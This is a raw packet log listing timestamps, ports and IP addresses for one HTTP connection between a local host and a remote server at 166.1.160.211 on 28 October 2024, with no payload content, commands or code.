Oct 28, 2024 19:46:22.965368986 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.965378046 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.965478897 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.965512991 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.965533972 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.965547085 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.965580940 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.965599060 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.965615988 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.965661049 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.965667009 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.965698957 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.965734005 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.965751886 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.965768099 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.965802908 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.965817928 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.965853930 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.965888977 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.965900898 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.965923071 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.965956926 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.965967894 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.965991020 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.966023922 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.966041088 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.966314077 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.966366053 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.966377974 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.966418982 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.966454029 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.966465950 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:22.966486931 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:22.966528893 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.171463966 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.177153111 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.177217007 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.177268028 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.177273989 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.177309036 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.177344084 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.177355051 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.177376032 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.177416086 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.177444935 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.177495003 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.177529097 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.177539110 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.177561998 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.177596092 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.177608013 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.177628994 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.177661896 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.177674055 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.177712917 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.177747011 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.177761078 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.177784920 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.177819014 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.177829981 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.177870035 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.177903891 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.177915096 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.177956104 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.178003073 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.178003073 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.178036928 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.178070068 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.178080082 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.178122044 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.178154945 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.178167105 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.178189039 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.178222895 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.178246975 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.178272963 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.178311110 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.178343058 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.178344965 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.178376913 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.178390026 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.178411007 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.178443909 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.178457022 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.178478956 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.178513050 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.178529024 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.178546906 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.178582907 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.178594112 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.178702116 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.178735971 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.178746939 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.178770065 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.178803921 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.178811073 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.178837061 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.178870916 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.178881884 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.178904057 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.178937912 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.178950071 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.178972960 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.179007053 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.179022074 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.179042101 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.179075956 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.179105997 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.179111004 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.179145098 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.179161072 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.179197073 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.179229975 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.179239988 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.179264069 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.179300070 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.179320097 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.179352045 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.179383993 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.179395914 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.179440022 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.179472923 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.179483891 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.179507971 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.179542065 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.179554939 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.179577112 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.179610968 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.179626942 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.179645061 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.179698944 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.179768085 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.179800987 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.179836035 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.179851055 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.179922104 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.179950953 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.179969072 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.238140106 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.270663023 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.276365995 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.276401997 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.276448965 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.276527882 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.276563883 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.276597977 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.276613951 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.276631117 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.276679039 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.276681900 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.276717901 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.276751041 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.276767015 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.276786089 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.276833057 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.276837111 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.276871920 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.276906967 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.276923895 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.276992083 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.277024984 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.277043104 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.277173042 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.277220011 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.277221918 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.277256012 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.277290106 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.277307987 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.277323008 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.277359009 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.277368069 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.277499914 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.277534008 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.277548075 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.277569056 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.277602911 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.277612925 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.277636051 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.277668953 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.277677059 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.277704954 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.277748108 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.277827024 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.277863026 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.277895927 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.277905941 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.277931929 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.277981043 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.278027058 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.278197050 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.278279066 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.278292894 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.278314114 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.278346062 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.278358936 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.278382063 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.278415918 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.278429985 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.278496027 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.278529882 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.278542995 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.278564930 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.278598070 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.278616905 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.278646946 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.278681040 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.278693914 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.278714895 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.278748035 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.278759956 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.278783083 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.278825045 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.278975964 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.279011965 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.279047012 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.279062033 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.279148102 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.279181004 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.279192924 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.279216051 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.279264927 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.279351950 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.279385090 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.279418945 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.279428959 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.279453993 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.279486895 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.279495955 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.279525042 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.279567003 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.279664040 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.279696941 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.279735088 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.279746056 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.279768944 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.279812098 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.279813051 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.280021906 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.280055046 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.280067921 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.280194998 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.280230045 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.280245066 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.280263901 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.280297041 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.280306101 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.280349016 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.280383110 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.280390978 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.280416965 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.280451059 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.280458927 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.280484915 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.280519962 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.280529976 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.280682087 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.280715942 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.280726910 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.280749083 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.280781984 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.280801058 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.280814886 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.280848980 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.280860901 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.280884981 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.280937910 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.281028032 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.281060934 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.281095028 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.281115055 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.281126976 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.281162024 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.281173944 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.281196117 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.281229973 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.281238079 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.281265974 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.281316042 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.281363964 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.281398058 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.281430960 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.281444073 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.281464100 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.281497955 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.281506062 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.281533003 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.281567097 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.281578064 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.281601906 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.281646013 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.281682014 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.281717062 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.281765938 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.281836033 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.282044888 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.282077074 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.282105923 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.282111883 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.282145023 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.282159090 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.282197952 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.282232046 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.282244921 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.282268047 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.282301903 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.282315016 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.282335997 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.282376051 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.282378912 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.282512903 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.282545090 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.282558918 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.282578945 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.282613993 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.282627106 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.282685995 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.282718897 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.282737970 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.282752991 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.282798052 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.282845974 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.282877922 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.282912970 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.282926083 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.282948017 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.282994986 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.282999039 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.283031940 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.283065081 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.283076048 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.283098936 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.283132076 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.283140898 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.283164978 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.283198118 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.283212900 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.283231974 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.283267975 CET	80	49726	166.1.160.211	192.168.2.16
Oct 28, 2024 19:46:23.283277035 CET	49726	80	192.168.2.16	166.1.160.211
Oct 28, 2024 19:46:23.283303022 CET	80	49726	166.1.160.211	192.168.2.16
